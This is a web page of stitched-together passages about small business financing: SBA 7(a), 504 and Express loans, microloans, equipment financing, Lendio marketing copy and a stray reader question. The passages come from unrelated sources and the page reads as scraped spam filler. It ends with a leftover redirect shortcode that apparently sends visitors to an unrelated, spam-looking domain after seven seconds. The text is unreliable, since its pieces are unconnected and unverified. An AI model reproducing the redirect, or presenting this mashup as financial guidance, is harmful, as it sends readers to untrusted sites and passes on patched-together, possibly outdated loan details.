Friends and family can be a great source for getting startup funding. While they may want to just give you the money you won’t want to pay the gift tax on that amount of money. Instead, you can structure it either as a loan or you can sell them shares of your business.
Equipment financing allows you to borrow money to purchase necessary business equipment outright. The borrower will pay back the total amount borrowed, plus interest and fees over a pre-arranged period of time.
The SBA requires that 504 recipient businesses must create or retain at least one job for every $65,000 provided by the SBA loan, though for small manufacturers, the number is lowered to one job per $100,000.
Young, ambitious and willing to make a bet on your future earnings? Consider how Kjerstin Erickson, Saul Garlick and Jon Gosier are trying to raise money. Through an online marketplace called the Thrust Fund, the three have offered up a percentage of their future lifetime earnings in exchange for upfront, undesignated venture funding. Erickson is willing to swap 6 percent of her future lifetime earnings for $600,000. The other two entrepreneurs are each offering 3 percent of future earnings for $300,000. Beware: the legality and enforceability of these “personal investment contracts” have yet to be established.
Since you have strong personal credit but are still building revenue, you can turn to microloans or personal loans for financing. Microloans are designed especially to help underserved entrepreneurs launch and grow their businesses, but the loans are small and can carry APRs in the low teens. With strong credit, personal loans are another option, but funding typically tops out at $35,000.
I’ve looked into grants but most grants I see my business or myself doesn’t not meet the qualifications to apply. I have looked into ritually business loans and women’s business loans as well. Any suggestions?
SBA loans come in several types, with different allowable uses. “Most of these loans can be used for working capital, to renovate business facilities, purchase equipment, finance receivables, and in some cases, finance the purchase of company facilities,” Anderson says. “Existing businesses and start-ups can qualify for SBA business loans, but some lenders do not fund start-ups.”
Oh, and there’s one more thing you should know about our managers: they’re on your team. You see, they don’t work for lenders – they work for you. We mean that. Lendio is the best free marketplace for small business loans because we put your best interests first. As long as those interests don’t include hugs, obviously.
Smarter Finance USA can finance your equipment up to $100k and structure it as either a loan or a lease. To qualify you’ll need a 650+ credit score (check yours here for free), no bankruptcies, foreclosures, or repossessions, and at least a 10% down payment.
Lendio’s mission is to empower your business by making small business loans simple through options, speed, and trust. Whether you are looking for an acquisition loan or a term loan, Lendio offers hundreds of different loan products from a variety of lenders. Finding out which business loan is best for you is why we’re here.
• Special Purpose Loans Program This category includes help to businesses for a range of reasons, from negative impacts from the North American Free Trade Agreement to helping implement pollution controls to providing assistance to Employee Stock Ownership Plans.
Running a successful business is hard no matter who you are. The good news is that, thanks to training received in the military, veterans have skills that lend themselves particularly w… Read More November 3, 2015
Small businesses still account for over 80 percent of new job opportunities. The path to own and run a small business is open to everyone. In fact, minority groups and those affected by a disaster can avail the various small business loans which are specifically designed for them. So do not be afraid to stand out of the crowd; you do not need an MBA to make this happen. It can be more rewarding that you ever imagined.
The SBA Export Working Capital Loan (EWCP) can be used to pay suppliers, buy inventory, or cover the production costs for goods/services you will be exporting. All of this has the goal of allowing your business to be able to offer more favorable/flexible terms to your foreign customers.
SBA Express Loans are another option under the 7(a) program. They give lenders the flexibility to offer a revolving loan structure for a specified period. What this means: you can draw funds out for a certain amount of time, say 1-2 years, paying only interest and treating the funds as a line of credit, before beginning to repay the loan through monthly payments of interest and principal. The maximum term on these loans is seven years.
This is the type of loan that provides small businesses with long-term, fixed rate funding to buy generally real estate or machinery or equipment for expansion or modernization. A private lender must agree to cover up to 50 percent of the loan. Meanwhile, a Certified Development Company, which is one of hundreds of private, nonprofit corporations designed to help economic development, picks up 40 percent of the loan. The borrower must contribute at least 10 percent equity. “This loan involves a major capital acquisition for machinery, equipment, and/or real estate,” Cruz says. “A business may want to move out of rental space and buy a small building and this is the loan for them. They have to have 51 percent occupancy. You could not buy the building and occupy only 1 percent.” The SBA’s maximum debenture is $1.5 million when companies agree to job creation or community development goals. In general, businesses are required to create or retain one job for every $65,000 funded by the SBA — although small manufacturers have a $100,000 job retention or creation requirement. That SBA contribution can go up to $2 million ($4 million for small manufacturers) if public policy goals are met, including revitalization of a business district, export expansion, minority business develop, rural development, among other goals.
• Your business first must be turned down for private financing. Yes, you read that correctly. Your business needs to try to get a loan from a bank or other financial institution or lender directly. Under law, the SBA can’t guarantee loans to businesses that can obtain the money they need on their own. So you have to apply for a loan on your own and be turned down.
Navigating these requirements and the accompanying paperwork can be difficult and is the main reason people think of SBA loans as slow and hard to get. Some of the best SBA lenders, like SmartBiz, have streamlined this process and drastically cut down paperwork and application times. In fact, SmartBiz routinely closes SBA loans in 2-3 weeks.
In addition to interest, you’ll have to pay fees on your SBA loan, including the SBA guarantee fee (for loans above $150K), referral and packaging fees, and closing costs. These fees are explained in detail in our article on SBA Loan Rates. We also offer an SBA Loan Calculator if you want to estimate monthly payments on an SBA 7a loan.
Look carefully at your business’s financials — especially cash flow — and evaluate how much you can reasonably afford to apply toward loan repayments each month. Some online lenders require daily or twice-monthly repayments, so factor that into the equation if that’s the case. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]